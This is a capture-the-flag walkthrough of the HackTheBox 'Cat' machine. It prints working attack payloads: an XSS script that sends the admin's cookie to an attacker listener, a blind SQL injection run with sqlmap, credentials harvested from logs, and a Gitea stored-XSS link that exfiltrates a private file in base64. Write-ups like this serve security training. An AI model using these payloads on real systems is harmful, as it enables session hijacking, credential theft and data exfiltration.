by 0xW1LD
nmap
find the following ports open:
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Port 80
shows a Best Cat Competition website:
Furhter scans show a
.git
repository on the site:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-git:
| 10.10.11.53:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Cat v1
|_http-title: Best Cat Competition
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Checking out the git
it seems there could be an xss
injection and sql
injection attacks on the join.php
+view_cat.php
page and accept_cat.php
respectively.
join.php
1
2
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
view_cat.php
1
<strong>Owner:</strong> <?php echo $cat['username']; ?>
accept_cat.php
1
2
3
4
5
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
The git
repo show’s user Axel
made a commit:
1
2
3
4
5
6
$ git log
commit 8c2c2701eb4e3c9a42162cfb7b681b6166287fd5 (HEAD -> master)
Author: Axel <axel2017@gmail.com>
Date: Sat Aug 31 23:26:14 2024 +0000
Cat v1
If we take a look at the backend we can tell that there’s potential xss
in the username
field when it is read by the admin
in the view_cat
page. Therefore our attack path is:
1.Register a user with an xss payload
in the username
field.
2.Register a cat so our username gets put into the view_cat
page where the xss payload
will be loaded and executed.
Just before this box retired
FisMatHack
informed me that theXSS
in theusername
field wasn’t intended and that the intended route was to bypass thexss filters
in thecat
registration page.
So let’s register using the following username
.
1
<script>document.location='http://10.10.14.25:8000/y?='+document.cookie;</script>
logging in with that user let’s register a cat:
After registering our xss payload
should have triggered a response on our listener
in this case a python http server
.
1
2
3
4
# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.53 - - [02/Feb/2025 08:44:34] code 404, message File not found
10.10.11.53 - - [02/Feb/2025 08:44:34] "GET /y?=PHPSESSID=h2sgjgj183htiok09avg44it8k HTTP/1.1" 404 -
You may also receive the resposne using a
netcat
listener
We got an admin cookie!
Replacing our cookie with the admin’s cookie and logging in to the admin page we can see that we can see the cats being registered:
Accepting the cat creates a POST
request to accept_cat.php
which is vulnerable to sqli
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://cat.htb
Connection: keep-alive
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=uvqtsp1t6m2pvns1gn7f31pg3r
Priority: u=0
catName=test'); select * from users;--&catId=2
However, we’ll see that we don’t get the response of the SQL
query we just put in which indicates it’s a blind SQLi
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Sun, 02 Feb 2025 00:16:57 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 50
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
The cat has been accepted and added successfully.
To extract data from the database we can use sqlmap
to automatically do the blind SQLI
for us.
1
$sqlmap -r request.txt -p catName --dbms sqlite --level 3 --risk 3 --technique=BEST --tables --batch
Following through using additional sqlmap
commands we should eventually be able to extract the users
table.
1
2
3
4
5
6
7
8
9
10
11
12
| username | email | password |
| -------- | ----------------------------- | -------------------------------- |
| jobert | jobert2020@gmail.com | 88e4dceccd48820cf77b5cf6c08698ad |
| angel | angel234g@gmail.com | 24a8ec003ac2e1b3c5953a6f95f8f565 |
| peter | peterCC456@gmail.com | e41ccefa439fc454f7eadbf1f139ed8a |
| royer | royer.royer2323@gmail.com | c598f6b844a36fa7836fba0835f1f6 |
| larry | larryP5656@gmail.com | 1b6dce240bbfbc0905a664ad199e18f8 |
| jerryson | jerrysonC343@gmail.com | 781593e060f8d065cd7281c5ec5b4b86 |
| fabian | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe |
| robert | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad |
| rosa | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c |
| axel | axel2017@gmail.com | d1bbba3670feb9435c9841e46e60ee2f |
User rosa has the following password:
rosa
:[REDACTED]
We can see that rosa has reused her password and that we can remote into the box through ssh
1
$ ssh rosa@cat.htb
We can check for users by taking a look at the /etc/passwd
file.
1
2
3
4
5
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash
Since rosa is part of adm
it means that we can access some files in /var/log
1
2
$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)
looking around the log files we find:
/var/log/apache2/access.log.1
which contains:
1
127.0.0.1 - - [31/Jan/2025:11:48:38 +0000] "GET /join.php?loginUsername=axel&loginPassword=[REDACTED]&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_
We have Axel
’s password!
Axel
:[REDACTED]
we can ssh into the box using Axel’s credentials:
1
# ssh axel@cat.htb
Checking for network ports and addresses:
1
2
3
4
5
6
7
8
9
10
tcp 0 0 127.0.0.1:34067 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:52379 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:40617 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
Port 3000
is running Gitea
1.22
It’s running the swagger
api:
We can login using Axel’s credentials:
No interesting repositories or projects found, however found this vulnerability:
Gitea Stored XSS
Checking Axel
’s mail we also find a message from rosa:
1
2
3
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
We can also cause jobert
to click on links via sendmail
:
1
echo "http://10.10.14.25/test" | sendmail jobert@localhost
We receive:
1
2
3
4
5
6
7
8
9
10
Ncat: Connection from 10.10.11.53:60226.
GET /test HTTP/1.1
Host: 10.10.14.25
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
So we create an xss
payload:
1
<a href="javascript:fetch('http://localhost:3000/administrator/employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://10.10.14.25/test?='+btoa(d)))">THIS IS A LINK</a>
Then send an email to jobert
to get him to trigger our xss payload
:
1
echo "http://localhost:3000/axel/w1ld" | sendmail jobert@localhost
After doing so we get the following response on our listener
.
1
2
3
4
5
6
7
8
9
10
Ncat: Connection from 10.10.11.53:40948.
GET /test?=PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo/PgoK HTTP/1.1
Host: 10.10.14.25
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4
Since we encoded the response in base64
in our xss payload
, let’s decode it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo/PgoK" | base64 -d
<?php
$valid_username = 'admin';
$valid_password = '[REDACTED]';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;
?>
root
:[REDACTED]
we can su to root:
1
2
3
4
5
$ su
$ whoami
root
$ cat /root/root.txt
288*****
Just like that we have root!
tags: os/linux - diff/medium